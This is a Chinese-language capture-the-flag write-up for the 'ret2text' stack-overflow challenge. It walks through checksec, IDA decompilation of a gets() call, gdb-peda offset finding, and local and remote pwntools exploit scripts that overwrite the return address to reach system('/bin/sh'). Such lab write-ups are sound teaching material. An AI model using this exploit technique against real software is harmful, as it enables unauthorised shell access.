ret2text

0x0

配置好基本环境

  • 安装gdb:通过apt-get install build-essential安装基本的编译环境,都会带入gdb
  • 安装peda:这是个python程序,对gdb功能进行了增强,例如带入了 checksec 程序,用来检查文件信息

0x1

ret2text题目地址

参考:ret2text(一道题入门)

ret2text

拿到一道题的第一步我们先去检查他的保护机制: checksec pwn
image-20220903165751567

所有安全措施 CANARY/FORTIFY/NX/PIE 都关闭了,说明该题不需要复杂的绕过操作

./pwn 运行,显示缺少权限。ll pwn 后发现缺少执行权限,加权 chmod +x pwn
image-20220903170125790

执行,我发现,这里有一个输入,这时我们就要注意,有可能是一个栈溢出利用。
image-20220903170250704

0x2

我们把程序拉进 ida 反汇编一下:
image-20220903170605745

按 F5 反汇编,程序很简单,就是输入输出,这里用了 gets() 函数来获取输入,栈溢出确凿无疑了。
image-20220903170641096

gets()函数用于从缓冲区中读取字符串,其原型如下:
char *gets(char *string);

gets()函数从流中读取字符串,直到出现换行符或读到文件尾为止,最后加上NULL作为字符串结束。所读取的字符串暂存在给定的参数string中。

【返回值】若成功则返回string的指针,否则返回NULL。

注意:由于gets()不检查字符串string的大小,必须遇到换行符或文件结尾才会结束输入,因此容易造成缓存溢出的安全性问题,导致程序崩溃,可以使用fgets()代替。
————————————————
博主「改个名字真不容易�」
原文链接:https://blog.csdn.net/weixin_44010117/article/details/107866101

但是并没看到跟 flag 相关的信息。继续看,发现还有个 secure 函数。
image-20220903171624728

函数中调用了 system('/bin/sh'),所以猜测获取 flag 是通过执行 system 获得 shell,然后再执行命令。

0x3

思路梳理:

从 IDA 中可以看出,pwn 程序只有这两个用户函数,其他的都是库函数。因此答案就在这两个函数中。停下来想想我们已知的内容:

  • main 函数调用了 gets(),且未限制长度,存在栈溢出,是解题的入口
  • secure 函数调用了 system(‘bin/sh’),是解题的出口

**栈溢出的原理:**溢出溢出,字面上就是往容器里加的水超过了水的容积,简单讲,栈溢出就是向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,造成溢出。

发生栈溢出的条件:程序必须向栈上写入数据。写入的数据大小没有被良好地控制。

利用方式:覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行shellcode的地址shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,可以让攻击者获得shell,利用pwntools可自动生成,等用到再说。

可能造成栈溢出的函数有:gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy

根据栈溢出原理,我们可以通过输入超长字符串来溢出 v4[112] 数组,进而覆盖掉 RBP。

这时,我们只要用 system(‘bin/sh’) 的入口地址,来覆盖 RBP,就能获得 shell。

0x4

梳理一下我们需要获取的信息

  • system(‘bin/sh’) 的入口地址
  • v4[0] 与 RBP 间的距离

system(‘bin/sh’) 入口地址直接在 ida 中就能找到:0x4007B8

image-20220903172832504

至于 v4[0] 与 RBP 间的距离 我们可以通过调试计算获得:

v4[0] <----> [rbp-0x70],由于是64位操作系统,所以 距离:0x70 + 8 = 12010
image-20220903173129005

关于距离计算,其实 gdb 插件 peda 就能够自动获取这个长度:

1
2
3
4
5
gdb-peda pwn
pattern create 200     //制造200个填充字符(多少字符都行),先把他复制下来
r                      //运行程序

pattern offset 地址    //ret 地址,确定偏移

image-20220903175659627

image-20220903175730446

image-20220903175829667

0x5

编写 exp

先写一个本地的exp 方便调试

1
2
3
4
5
6
from pwn import*  # 导入 pwntools库 

p = process("./pwn") # 执行 pwn
payload = b'a'*120 + p64(0x4007B8) # p32()将其转换为字节流,64应用p64()
p.sendline(payload) # 发送 payload
p.interactive() # 进行交互,即运行shell

image-20220903182737742

再来写远程的 exp

1
2
3
4
5
6
from pwn import*
p = connect('challenge-4a6f183db92b776b.sandbox.ctfhub.com',26016)

payload = b'a'*120 + p64(0x4007B8)
p.sendline(payload)
p.interactive()
image-20220903165012377

成功获得 flag